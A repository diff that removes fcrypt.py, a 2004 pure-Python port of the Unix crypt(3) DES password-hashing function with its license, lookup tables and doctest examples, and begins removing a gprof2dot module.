-#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-pass

extra/fcrypt/fcrypt.py

@@ -1,615 +0,0 @@
-# fcrypt.py
-
-"""Unix crypt(3) password hash algorithm.
-
-This is a port to Python of the standard Unix password crypt function.
-It's a single self-contained source file that works with any version
-of Python from version 1.5 or higher.  The code is based on Eric
-Young's optimised crypt in C.
-
-Python fcrypt is intended for users whose Python installation has not
-had the crypt module enabled, or whose C library doesn't include the
-crypt function.  See the documentation for the Python crypt module for
-more information:
-
-  http://www.python.org/doc/current/lib/module-crypt.html
-
-An alternative Python crypt module that uses the MD5 algorithm and is
-more secure than fcrypt is available from michal j wallace at:
-
-  http://www.sabren.net/code/python/crypt/index.php3
-
-The crypt() function is a one-way hash function, intended to hide a
-password such that the only way to find out the original password is
-to guess values until you get a match.  If you need to encrypt and
-decrypt data, this is not the module for you.
-
-There are at least two packages providing Python cryptography support:
-M2Crypto at <http://www.pobox.org.sg/home/ngps/m2/>, and amkCrypto at
-<http://www.amk.ca/python/code/crypto.html>.
-
-Functions:
-
-  crypt() -- return hashed password
-"""
-
-__author__ = 'Carey Evans <[email protected]>'
-__version__ = '1.3.1'
-__date__ = '21 February 2004'
-__credits__ = '''michal j wallace for inspiring me to write this.
-Eric Young for the C code this module was copied from.'''
-
-__all__ = ['crypt']
-
-
-# Copyright (C) 2000, 2001, 2004  Carey Evans  <[email protected]>
-#
-# Permission to use, copy, modify, and distribute this software and
-# its documentation for any purpose and without fee is hereby granted,
-# provided that the above copyright notice appear in all copies and
-# that both that copyright notice and this permission notice appear in
-# supporting documentation.
-#
-# CAREY EVANS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE,
-# INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO
-# EVENT SHALL CAREY EVANS BE LIABLE FOR ANY SPECIAL, INDIRECT OR
-# CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF
-# USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
-# OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
-# PERFORMANCE OF THIS SOFTWARE.
-
-# Based on C code by Eric Young ([email protected]), which has the
-# following copyright.  Especially note condition 3, which imposes
-# extra restrictions on top of the standard Python license used above.
-#
-# The fcrypt.c source is available from:
-#     ftp://ftp.psy.uq.oz.au/pub/Crypto/DES/
-
-# ----- BEGIN fcrypt.c LICENSE -----
-#
-# This library is free for commercial and non-commercial use as long as
-# the following conditions are aheared to.  The following conditions
-# apply to all code found in this distribution, be it the RC4, RSA,
-# lhash, DES, etc., code; not just the SSL code.  The SSL documentation
-# included with this distribution is covered by the same copyright terms
-# except that the holder is Tim Hudson ([email protected]).
-# 
-# Copyright remains Eric Young's, and as such any Copyright notices in
-# the code are not to be removed.
-# If this package is used in a product, Eric Young should be given attribution
-# as the author of the parts of the library used.
-# This can be in the form of a textual message at program startup or
-# in documentation (online or textual) provided with the package.
-# 
-# Redistribution and use in source and binary forms, with or without
-# modification, are permitted provided that the following conditions
-# are met:
-# 1. Redistributions of source code must retain the copyright
-#    notice, this list of conditions and the following disclaimer.
-# 2. Redistributions in binary form must reproduce the above copyright
-#    notice, this list of conditions and the following disclaimer in the
-#    documentation and/or other materials provided with the distribution.
-# 3. All advertising materials mentioning features or use of this software
-#    must display the following acknowledgement:
-#    "This product includes cryptographic software written by
-#     Eric Young ([email protected])"
-#    The word 'cryptographic' can be left out if the rouines from the library
-#    being used are not cryptographic related :-).
-# 4. If you include any Windows specific code (or a derivative thereof) from 
-#    the apps directory (application code) you must include an acknowledgement:
-#    "This product includes software written by Tim Hudson ([email protected])"
-# 
-# THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND
-# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
-# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-# SUCH DAMAGE.
-# 
-# The licence and distribution terms for any publically available version or
-# derivative of this code cannot be changed.  i.e. this code cannot simply be
-# copied and put under another distribution licence
-# [including the GNU Public Licence.]
-#
-# ----- END fcrypt.c LICENSE -----
-
-
-import string, struct
-
-
-_ITERATIONS = 16
-
-_SPtrans = (
-    # nibble 0
-    [ 0x00820200, 0x00020000, 0x80800000, 0x80820200,
-      0x00800000, 0x80020200, 0x80020000, 0x80800000,
-      0x80020200, 0x00820200, 0x00820000, 0x80000200,
-      0x80800200, 0x00800000, 0x00000000, 0x80020000,
-      0x00020000, 0x80000000, 0x00800200, 0x00020200,
-      0x80820200, 0x00820000, 0x80000200, 0x00800200,
-      0x80000000, 0x00000200, 0x00020200, 0x80820000,
-      0x00000200, 0x80800200, 0x80820000, 0x00000000,
-      0x00000000, 0x80820200, 0x00800200, 0x80020000,
-      0x00820200, 0x00020000, 0x80000200, 0x00800200,
-      0x80820000, 0x00000200, 0x00020200, 0x80800000,
-      0x80020200, 0x80000000, 0x80800000, 0x00820000,
-      0x80820200, 0x00020200, 0x00820000, 0x80800200,
-      0x00800000, 0x80000200, 0x80020000, 0x00000000,
-      0x00020000, 0x00800000, 0x80800200, 0x00820200,
-      0x80000000, 0x80820000, 0x00000200, 0x80020200 ],
-
-    # nibble 1
-    [ 0x10042004, 0x00000000, 0x00042000, 0x10040000,
-      0x10000004, 0x00002004, 0x10002000, 0x00042000,
-      0x00002000, 0x10040004, 0x00000004, 0x10002000,
-      0x00040004, 0x10042000, 0x10040000, 0x00000004,
-      0x00040000, 0x10002004, 0x10040004, 0x00002000,
-      0x00042004, 0x10000000, 0x00000000, 0x00040004,
-      0x10002004, 0x00042004, 0x10042000, 0x10000004,
-      0x10000000, 0x00040000, 0x00002004, 0x10042004,
-      0x00040004, 0x10042000, 0x10002000, 0x00042004,
-      0x10042004, 0x00040004, 0x10000004, 0x00000000,
-      0x10000000, 0x00002004, 0x00040000, 0x10040004,
-      0x00002000, 0x10000000, 0x00042004, 0x10002004,
-      0x10042000, 0x00002000, 0x00000000, 0x10000004,
-      0x00000004, 0x10042004, 0x00042000, 0x10040000,
-      0x10040004, 0x00040000, 0x00002004, 0x10002000,
-      0x10002004, 0x00000004, 0x10040000, 0x00042000 ],
-
-    # nibble 2
-    [ 0x41000000, 0x01010040, 0x00000040, 0x41000040,
-      0x40010000, 0x01000000, 0x41000040, 0x00010040,
-      0x01000040, 0x00010000, 0x01010000, 0x40000000,
-      0x41010040, 0x40000040, 0x40000000, 0x41010000,
-      0x00000000, 0x40010000, 0x01010040, 0x00000040,
-      0x40000040, 0x41010040, 0x00010000, 0x41000000,
-      0x41010000, 0x01000040, 0x40010040, 0x01010000,
-      0x00010040, 0x00000000, 0x01000000, 0x40010040,
-      0x01010040, 0x00000040, 0x40000000, 0x00010000,
-      0x40000040, 0x40010000, 0x01010000, 0x41000040,
-      0x00000000, 0x01010040, 0x00010040, 0x41010000,
-      0x40010000, 0x01000000, 0x41010040, 0x40000000,
-      0x40010040, 0x41000000, 0x01000000, 0x41010040,
-      0x00010000, 0x01000040, 0x41000040, 0x00010040,
-      0x01000040, 0x00000000, 0x41010000, 0x40000040,
-      0x41000000, 0x40010040, 0x00000040, 0x01010000 ],
-
-    # nibble 3
-    [ 0x00100402, 0x04000400, 0x00000002, 0x04100402,
-      0x00000000, 0x04100000, 0x04000402, 0x00100002,
-      0x04100400, 0x04000002, 0x04000000, 0x00000402,
-      0x04000002, 0x00100402, 0x00100000, 0x04000000,
-      0x04100002, 0x00100400, 0x00000400, 0x00000002,
-      0x00100400, 0x04000402, 0x04100000, 0x00000400,
-      0x00000402, 0x00000000, 0x00100002, 0x04100400,
-      0x04000400, 0x04100002, 0x04100402, 0x00100000,
-      0x04100002, 0x00000402, 0x00100000, 0x04000002,
-      0x00100400, 0x04000400, 0x00000002, 0x04100000,
-      0x04000402, 0x00000000, 0x00000400, 0x00100002,
-      0x00000000, 0x04100002, 0x04100400, 0x00000400,
-      0x04000000, 0x04100402, 0x00100402, 0x00100000,
-      0x04100402, 0x00000002, 0x04000400, 0x00100402,
-      0x00100002, 0x00100400, 0x04100000, 0x04000402,
-      0x00000402, 0x04000000, 0x04000002, 0x04100400 ],
-
-    # nibble 4
-    [ 0x02000000, 0x00004000, 0x00000100, 0x02004108,
-      0x02004008, 0x02000100, 0x00004108, 0x02004000,
-      0x00004000, 0x00000008, 0x02000008, 0x00004100,
-      0x02000108, 0x02004008, 0x02004100, 0x00000000,
-      0x00004100, 0x02000000, 0x00004008, 0x00000108,
-      0x02000100, 0x00004108, 0x00000000, 0x02000008,
-      0x00000008, 0x02000108, 0x02004108, 0x00004008,
-      0x02004000, 0x00000100, 0x00000108, 0x02004100,
-      0x02004100, 0x02000108, 0x00004008, 0x02004000,
-      0x00004000, 0x00000008, 0x02000008, 0x02000100,
-      0x02000000, 0x00004100, 0x02004108, 0x00000000,
-      0x00004108, 0x02000000, 0x00000100, 0x00004008,
-      0x02000108, 0x00000100, 0x00000000, 0x02004108,
-      0x02004008, 0x02004100, 0x00000108, 0x00004000,
-      0x00004100, 0x02004008, 0x02000100, 0x00000108,
-      0x00000008, 0x00004108, 0x02004000, 0x02000008 ],
-
-    # nibble 5
-    [ 0x20000010, 0x00080010, 0x00000000, 0x20080800,
-      0x00080010, 0x00000800, 0x20000810, 0x00080000,
-      0x00000810, 0x20080810, 0x00080800, 0x20000000,
-      0x20000800, 0x20000010, 0x20080000, 0x00080810,
-      0x00080000, 0x20000810, 0x20080010, 0x00000000,
-      0x00000800, 0x00000010, 0x20080800, 0x20080010,
-      0x20080810, 0x20080000, 0x20000000, 0x00000810,
-      0x00000010, 0x00080800, 0x00080810, 0x20000800,
-      0x00000810, 0x20000000, 0x20000800, 0x00080810,
-      0x20080800, 0x00080010, 0x00000000, 0x20000800,
-      0x20000000, 0x00000800, 0x20080010, 0x00080000,
-      0x00080010, 0x20080810, 0x00080800, 0x00000010,
-      0x20080810, 0x00080800, 0x00080000, 0x20000810,
-      0x20000010, 0x20080000, 0x00080810, 0x00000000,
-      0x00000800, 0x20000010, 0x20000810, 0x20080800,
-      0x20080000, 0x00000810, 0x00000010, 0x20080010 ],
-
-    # nibble 6
-    [ 0x00001000, 0x00000080, 0x00400080, 0x00400001,
-      0x00401081, 0x00001001, 0x00001080, 0x00000000,
-      0x00400000, 0x00400081, 0x00000081, 0x00401000,
-      0x00000001, 0x00401080, 0x00401000, 0x00000081,
-      0x00400081, 0x00001000, 0x00001001, 0x00401081,
-      0x00000000, 0x00400080, 0x00400001, 0x00001080,
-      0x00401001, 0x00001081, 0x00401080, 0x00000001,
-      0x00001081, 0x00401001, 0x00000080, 0x00400000,
-      0x00001081, 0x00401000, 0x00401001, 0x00000081,
-      0x00001000, 0x00000080, 0x00400000, 0x00401001,
-      0x00400081, 0x00001081, 0x00001080, 0x00000000,
-      0x00000080, 0x00400001, 0x00000001, 0x00400080,
-      0x00000000, 0x00400081, 0x00400080, 0x00001080,
-      0x00000081, 0x00001000, 0x00401081, 0x00400000,
-      0x00401080, 0x00000001, 0x00001001, 0x00401081,
-      0x00400001, 0x00401080, 0x00401000, 0x00001001 ],
-
-    # nibble 7
-    [ 0x08200020, 0x08208000, 0x00008020, 0x00000000,
-      0x08008000, 0x00200020, 0x08200000, 0x08208020,
-      0x00000020, 0x08000000, 0x00208000, 0x00008020,
-      0x00208020, 0x08008020, 0x08000020, 0x08200000,
-      0x00008000, 0x00208020, 0x00200020, 0x08008000,
-      0x08208020, 0x08000020, 0x00000000, 0x00208000,
-      0x08000000, 0x00200000, 0x08008020, 0x08200020,
-      0x00200000, 0x00008000, 0x08208000, 0x00000020,
-      0x00200000, 0x00008000, 0x08000020, 0x08208020,
-      0x00008020, 0x08000000, 0x00000000, 0x00208000,
-      0x08200020, 0x08008020, 0x08008000, 0x00200020,
-      0x08208000, 0x00000020, 0x00200020, 0x08008000,
-      0x08208020, 0x00200000, 0x08200000, 0x08000020,
-      0x00208000, 0x00008020, 0x08008020, 0x08200000,
-      0x00000020, 0x08208000, 0x00208020, 0x00000000,
-      0x08000000, 0x08200020, 0x00008000, 0x00208020 ] )
-
-_skb = (
-    # for C bits (numbered as per FIPS 46) 1 2 3 4 5 6
-    [ 0x00000000, 0x00000010, 0x20000000, 0x20000010,
-      0x00010000, 0x00010010, 0x20010000, 0x20010010,
-      0x00000800, 0x00000810, 0x20000800, 0x20000810,
-      0x00010800, 0x00010810, 0x20010800, 0x20010810,
-      0x00000020, 0x00000030, 0x20000020, 0x20000030,
-      0x00010020, 0x00010030, 0x20010020, 0x20010030,
-      0x00000820, 0x00000830, 0x20000820, 0x20000830,
-      0x00010820, 0x00010830, 0x20010820, 0x20010830,
-      0x00080000, 0x00080010, 0x20080000, 0x20080010,
-      0x00090000, 0x00090010, 0x20090000, 0x20090010,
-      0x00080800, 0x00080810, 0x20080800, 0x20080810,
-      0x00090800, 0x00090810, 0x20090800, 0x20090810,
-      0x00080020, 0x00080030, 0x20080020, 0x20080030,
-      0x00090020, 0x00090030, 0x20090020, 0x20090030,
-      0x00080820, 0x00080830, 0x20080820, 0x20080830,
-      0x00090820, 0x00090830, 0x20090820, 0x20090830 ],
-
-    # for C bits (numbered as per FIPS 46) 7 8 10 11 12 13
-    [ 0x00000000, 0x02000000, 0x00002000, 0x02002000,
-      0x00200000, 0x02200000, 0x00202000, 0x02202000,
-      0x00000004, 0x02000004, 0x00002004, 0x02002004,
-      0x00200004, 0x02200004, 0x00202004, 0x02202004,
-      0x00000400, 0x02000400, 0x00002400, 0x02002400,
-      0x00200400, 0x02200400, 0x00202400, 0x02202400,
-      0x00000404, 0x02000404, 0x00002404, 0x02002404,
-      0x00200404, 0x02200404, 0x00202404, 0x02202404,
-      0x10000000, 0x12000000, 0x10002000, 0x12002000,
-      0x10200000, 0x12200000, 0x10202000, 0x12202000,
-      0x10000004, 0x12000004, 0x10002004, 0x12002004,
-      0x10200004, 0x12200004, 0x10202004, 0x12202004,
-      0x10000400, 0x12000400, 0x10002400, 0x12002400,
-      0x10200400, 0x12200400, 0x10202400, 0x12202400,
-      0x10000404, 0x12000404, 0x10002404, 0x12002404,
-      0x10200404, 0x12200404, 0x10202404, 0x12202404 ],
-
-    # for C bits (numbered as per FIPS 46) 14 15 16 17 19 20
-    [ 0x00000000, 0x00000001, 0x00040000, 0x00040001,
-      0x01000000, 0x01000001, 0x01040000, 0x01040001,
-      0x00000002, 0x00000003, 0x00040002, 0x00040003,
-      0x01000002, 0x01000003, 0x01040002, 0x01040003,
-      0x00000200, 0x00000201, 0x00040200, 0x00040201,
-      0x01000200, 0x01000201, 0x01040200, 0x01040201,
-      0x00000202, 0x00000203, 0x00040202, 0x00040203,
-      0x01000202, 0x01000203, 0x01040202, 0x01040203,
-      0x08000000, 0x08000001, 0x08040000, 0x08040001,
-      0x09000000, 0x09000001, 0x09040000, 0x09040001,
-      0x08000002, 0x08000003, 0x08040002, 0x08040003,
-      0x09000002, 0x09000003, 0x09040002, 0x09040003,
-      0x08000200, 0x08000201, 0x08040200, 0x08040201,
-      0x09000200, 0x09000201, 0x09040200, 0x09040201,
-      0x08000202, 0x08000203, 0x08040202, 0x08040203,
-      0x09000202, 0x09000203, 0x09040202, 0x09040203 ],
-
-    # for C bits (numbered as per FIPS 46) 21 23 24 26 27 28
-    [ 0x00000000, 0x00100000, 0x00000100, 0x00100100,
-      0x00000008, 0x00100008, 0x00000108, 0x00100108,
-      0x00001000, 0x00101000, 0x00001100, 0x00101100,
-      0x00001008, 0x00101008, 0x00001108, 0x00101108,
-      0x04000000, 0x04100000, 0x04000100, 0x04100100,
-      0x04000008, 0x04100008, 0x04000108, 0x04100108,
-      0x04001000, 0x04101000, 0x04001100, 0x04101100,
-      0x04001008, 0x04101008, 0x04001108, 0x04101108,
-      0x00020000, 0x00120000, 0x00020100, 0x00120100,
-      0x00020008, 0x00120008, 0x00020108, 0x00120108,
-      0x00021000, 0x00121000, 0x00021100, 0x00121100,
-      0x00021008, 0x00121008, 0x00021108, 0x00121108,
-      0x04020000, 0x04120000, 0x04020100, 0x04120100,
-      0x04020008, 0x04120008, 0x04020108, 0x04120108,
-      0x04021000, 0x04121000, 0x04021100, 0x04121100,
-      0x04021008, 0x04121008, 0x04021108, 0x04121108 ],
-
-    # for D bits (numbered as per FIPS 46) 1 2 3 4 5 6
-    [ 0x00000000, 0x10000000, 0x00010000, 0x10010000,
-      0x00000004, 0x10000004, 0x00010004, 0x10010004,
-      0x20000000, 0x30000000, 0x20010000, 0x30010000,
-      0x20000004, 0x30000004, 0x20010004, 0x30010004,
-      0x00100000, 0x10100000, 0x00110000, 0x10110000,
-      0x00100004, 0x10100004, 0x00110004, 0x10110004,
-      0x20100000, 0x30100000, 0x20110000, 0x30110000,
-      0x20100004, 0x30100004, 0x20110004, 0x30110004,
-      0x00001000, 0x10001000, 0x00011000, 0x10011000,
-      0x00001004, 0x10001004, 0x00011004, 0x10011004,
-      0x20001000, 0x30001000, 0x20011000, 0x30011000,
-      0x20001004, 0x30001004, 0x20011004, 0x30011004,
-      0x00101000, 0x10101000, 0x00111000, 0x10111000,
-      0x00101004, 0x10101004, 0x00111004, 0x10111004,
-      0x20101000, 0x30101000, 0x20111000, 0x30111000,
-      0x20101004, 0x30101004, 0x20111004, 0x30111004 ],
-
-    # for D bits (numbered as per FIPS 46) 8 9 11 12 13 14
-    [ 0x00000000, 0x08000000, 0x00000008, 0x08000008,
-      0x00000400, 0x08000400, 0x00000408, 0x08000408,
-      0x00020000, 0x08020000, 0x00020008, 0x08020008,
-      0x00020400, 0x08020400, 0x00020408, 0x08020408,
-      0x00000001, 0x08000001, 0x00000009, 0x08000009,
-      0x00000401, 0x08000401, 0x00000409, 0x08000409,
-      0x00020001, 0x08020001, 0x00020009, 0x08020009,
-      0x00020401, 0x08020401, 0x00020409, 0x08020409,
-      0x02000000, 0x0A000000, 0x02000008, 0x0A000008,
-      0x02000400, 0x0A000400, 0x02000408, 0x0A000408,
-      0x02020000, 0x0A020000, 0x02020008, 0x0A020008,
-      0x02020400, 0x0A020400, 0x02020408, 0x0A020408,
-      0x02000001, 0x0A000001, 0x02000009, 0x0A000009,
-      0x02000401, 0x0A000401, 0x02000409, 0x0A000409,
-      0x02020001, 0x0A020001, 0x02020009, 0x0A020009,
-      0x02020401, 0x0A020401, 0x02020409, 0x0A020409 ],
-
-    # for D bits (numbered as per FIPS 46) 16 17 18 19 20 21
-    [ 0x00000000, 0x00000100, 0x00080000, 0x00080100,
-      0x01000000, 0x01000100, 0x01080000, 0x01080100,
-      0x00000010, 0x00000110, 0x00080010, 0x00080110,
-      0x01000010, 0x01000110, 0x01080010, 0x01080110,
-      0x00200000, 0x00200100, 0x00280000, 0x00280100,
-      0x01200000, 0x01200100, 0x01280000, 0x01280100,
-      0x00200010, 0x00200110, 0x00280010, 0x00280110,
-      0x01200010, 0x01200110, 0x01280010, 0x01280110,
-      0x00000200, 0x00000300, 0x00080200, 0x00080300,
-      0x01000200, 0x01000300, 0x01080200, 0x01080300,
-      0x00000210, 0x00000310, 0x00080210, 0x00080310,
-      0x01000210, 0x01000310, 0x01080210, 0x01080310,
-      0x00200200, 0x00200300, 0x00280200, 0x00280300,
-      0x01200200, 0x01200300, 0x01280200, 0x01280300,
-      0x00200210, 0x00200310, 0x00280210, 0x00280310,
-      0x01200210, 0x01200310, 0x01280210, 0x01280310 ],
-
-    # for D bits (numbered as per FIPS 46) 22 23 24 25 27 28
-    [ 0x00000000, 0x04000000, 0x00040000, 0x04040000,
-      0x00000002, 0x04000002, 0x00040002, 0x04040002,
-      0x00002000, 0x04002000, 0x00042000, 0x04042000,
-      0x00002002, 0x04002002, 0x00042002, 0x04042002,
-      0x00000020, 0x04000020, 0x00040020, 0x04040020,
-      0x00000022, 0x04000022, 0x00040022, 0x04040022,
-      0x00002020, 0x04002020, 0x00042020, 0x04042020,
-      0x00002022, 0x04002022, 0x00042022, 0x04042022,
-      0x00000800, 0x04000800, 0x00040800, 0x04040800,
-      0x00000802, 0x04000802, 0x00040802, 0x04040802,
-      0x00002800, 0x04002800, 0x00042800, 0x04042800,
-      0x00002802, 0x04002802, 0x00042802, 0x04042802,
-      0x00000820, 0x04000820, 0x00040820, 0x04040820,
-      0x00000822, 0x04000822, 0x00040822, 0x04040822,
-      0x00002820, 0x04002820, 0x00042820, 0x04042820,
-      0x00002822, 0x04002822, 0x00042822, 0x04042822 ] )
-
-_shifts2 = (0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0)
-
-_con_salt = [
-    0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,
-    0xDA,0xDB,0xDC,0xDD,0xDE,0xDF,0xE0,0xE1,
-    0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,
-    0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1,
-    0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,
-    0xFA,0xFB,0xFC,0xFD,0xFE,0xFF,0x00,0x01,
-    0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,
-    0x0A,0x0B,0x05,0x06,0x07,0x08,0x09,0x0A,
-    0x0B,0x0C,0x0D,0x0E,0x0F,0x10,0x11,0x12,
-    0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A,
-    0x1B,0x1C,0x1D,0x1E,0x1F,0x20,0x21,0x22,
-    0x23,0x24,0x25,0x20,0x21,0x22,0x23,0x24,
-    0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,
-    0x2D,0x2E,0x2F,0x30,0x31,0x32,0x33,0x34,
-    0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,
-    0x3D,0x3E,0x3F,0x40,0x41,0x42,0x43,0x44 ]
-
-_cov_2char = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
-
-
-def _HPERM_OP(a):
-    """Clever bit manipulation."""
-    t = ((a << 18) ^ a) & 0xcccc0000
-    return a ^ t ^ ((t >> 18) & 0x3fff)
-
-def _PERM_OP(a,b,n,m):
-    """Cleverer bit manipulation."""
-    t = ((a >> n) ^ b) & m
-    b = b ^ t
-    a = a ^ (t << n)
-    return a,b
-
-
-def _set_key(password):
-    """Generate DES key schedule from ASCII password."""
-
-    c,d = struct.unpack('<ii', password)
-    c = (c & 0x7f7f7f7f) << 1
-    d = (d & 0x7f7f7f7f) << 1
-
-    d,c = _PERM_OP(d,c,4,0x0f0f0f0f)
-    c = _HPERM_OP(c)
-    d = _HPERM_OP(d)
-    d,c = _PERM_OP(d,c,1,0x55555555)
-    c,d = _PERM_OP(c,d,8,0x00ff00ff)
-    d,c = _PERM_OP(d,c,1,0x55555555)
-
-    # Any sign-extended bits are masked off.
-    d = (((d & 0x000000ff) << 16) | (d & 0x0000ff00) |
-         ((d & 0x00ff0000) >> 16) | ((c >> 4) & 0x0f000000))
-    c = c & 0x0fffffff
-
-    # Copy globals into local variables for loop.
-    shifts2 = _shifts2
-    skbc0, skbc1, skbc2, skbc3, skbd0, skbd1, skbd2, skbd3 = _skb
-
-    k = [0] * (_ITERATIONS * 2)
-
-    for i in range(_ITERATIONS):
-        # Only operates on top 28 bits.
-        if shifts2[i]:
-            c = (c >> 2) | (c << 26)
-            d = (d >> 2) | (d << 26)
-        else:
-            c = (c >> 1) | (c << 27)
-            d = (d >> 1) | (d << 27)
-        c = c & 0x0fffffff
-        d = d & 0x0fffffff
-
-        s = ( skbc0[  c      & 0x3f                    ] |
-              skbc1[((c>> 6) & 0x03) | ((c>> 7) & 0x3c)] |
-              skbc2[((c>>13) & 0x0f) | ((c>>14) & 0x30)] |
-              skbc3[((c>>20) & 0x01) |
-                    ((c>>21) & 0x06) | ((c>>22) & 0x38)] )
-
-        t = ( skbd0[  d      & 0x3f                    ] |
-              skbd1[((d>> 7) & 0x03) | ((d>> 8) & 0x3c)] |
-              skbd2[((d>>15) & 0x3f)                   ] |
-              skbd3[((d>>21) & 0x0f) | ((d>>22) & 0x30)] )
-
-        k[2*i] = ((t << 16) | (s & 0x0000ffff)) & 0xffffffff
-        s = (s >> 16) | (t & 0xffff0000)
-
-        # Top bit of s may be 1.
-        s = (s << 4) | ((s >> 28) & 0x0f)
-        k[2*i + 1] = s & 0xffffffff
-
-    return k
-
-
-def _body(ks, E0, E1):
-    """Use the key schedule ks and salt E0, E1 to create the password hash."""
-
-    # Copy global variable into locals for loop.
-    SP0, SP1, SP2, SP3, SP4, SP5, SP6, SP7 = _SPtrans
-
-    inner = range(0, _ITERATIONS*2, 2)
-    l = r = 0
-    for j in range(25):
-        l,r = r,l
-        for i in inner:
-            t = r ^ ((r >> 16) & 0xffff)
-            u = t & E0
-            t = t & E1
-            u = u ^ (u << 16) ^ r ^ ks[i]
-            t = t ^ (t << 16) ^ r ^ ks[i+1]
-            t = ((t >> 4) & 0x0fffffff) | (t << 28)
-
-            l,r = r,(SP1[(t    ) & 0x3f] ^ SP3[(t>> 8) & 0x3f] ^
-                     SP5[(t>>16) & 0x3f] ^ SP7[(t>>24) & 0x3f] ^
-                     SP0[(u    ) & 0x3f] ^ SP2[(u>> 8) & 0x3f] ^
-                     SP4[(u>>16) & 0x3f] ^ SP6[(u>>24) & 0x3f] ^ l)
-
-    l = ((l >> 1) & 0x7fffffff) | ((l & 0x1) << 31)
-    r = ((r >> 1) & 0x7fffffff) | ((r & 0x1) << 31)
-
-    r,l = _PERM_OP(r, l,  1, 0x55555555)
-    l,r = _PERM_OP(l, r,  8, 0x00ff00ff)
-    r,l = _PERM_OP(r, l,  2, 0x33333333)
-    l,r = _PERM_OP(l, r, 16, 0x0000ffff)
-    r,l = _PERM_OP(r, l,  4, 0x0f0f0f0f)
-
-    return l,r
-
-
-def crypt(password, salt):
-    """Generate an encrypted hash from the passed password.  If the password
-is longer than eight characters, only the first eight will be used.
-
-The first two characters of the salt are used to modify the encryption
-algorithm used to generate in the hash in one of 4096 different ways.
-The characters for the salt should be upper- and lower-case letters A
-to Z, digits 0 to 9, '.' and '/'.
-
-The returned hash begins with the two characters of the salt, and
-should be passed as the salt to verify the password.
-
-Example:
-
-  >>> from fcrypt import crypt
-  >>> password = 'AlOtBsOl'
-  >>> salt = 'cE'
-  >>> hash = crypt(password, salt)
-  >>> hash
-  'cEpWz5IUCShqM'
-  >>> crypt(password, hash) == hash
-  1
-  >>> crypt('IaLaIoK', hash) == hash
-  0
-
-In practice, you would read the password using something like the
-getpass module, and generate the salt randomly:
-
-  >>> import random, string
-  >>> saltchars = string.letters + string.digits + './'
-  >>> salt = random.choice(saltchars) + random.choice(saltchars)
-
-Note that other ASCII characters are accepted in the salt, but the
-results may not be the same as other versions of crypt.  In
-particular, '_', '$1' and '$2' do not select alternative hash
-algorithms such as the extended passwords, MD5 crypt and Blowfish
-crypt supported by the OpenBSD C library.
-"""
-
-    # Extract the salt.
-    if len(salt) == 0:
-        salt = 'AA'
-    elif len(salt) == 1:
-        salt = salt + 'A'
-    Eswap0 = _con_salt[ord(salt[0]) & 0x7f]
-    Eswap1 = _con_salt[ord(salt[1]) & 0x7f] << 4
-
-    # Generate the key and use it to apply the encryption.
-    ks = _set_key((password + '\0\0\0\0\0\0\0\0')[:8])
-    o1, o2 = _body(ks, Eswap0, Eswap1)
-
-    # Extract 24-bit subsets of result with bytes reversed.
-    t1 = (o1 << 16 & 0xff0000) | (o1 & 0xff00) | (o1 >> 16 & 0xff)
-    t2 = (o1 >> 8 & 0xff0000) | (o2 << 8 & 0xff00) | (o2 >> 8 & 0xff)
-    t3 = (o2 & 0xff0000) | (o2 >> 16 & 0xff00)
-    # Extract 6-bit subsets.
-    r = [ t1 >> 18 & 0x3f, t1 >> 12 & 0x3f, t1 >> 6 & 0x3f, t1 & 0x3f,
-          t2 >> 18 & 0x3f, t2 >> 12 & 0x3f, t2 >> 6 & 0x3f, t2 & 0x3f,
-          t3 >> 18 & 0x3f, t3 >> 12 & 0x3f, t3 >> 6 & 0x3f ]
-    # Convert to characters.
-    for i in range(len(r)):
-        r[i] = _cov_2char[r[i]]
-    return salt[:2] + string.join(r, '')
-
-def _test():
-    """Run doctest on fcrypt module."""
-    import doctest, fcrypt
-    return doctest.testmod(fcrypt)
-
-if __name__ == '__main__':
-    _test()

extra/gprof2dot/__init__.py

@@ -1,19 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright 2008-2009 Jose Fonseca
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
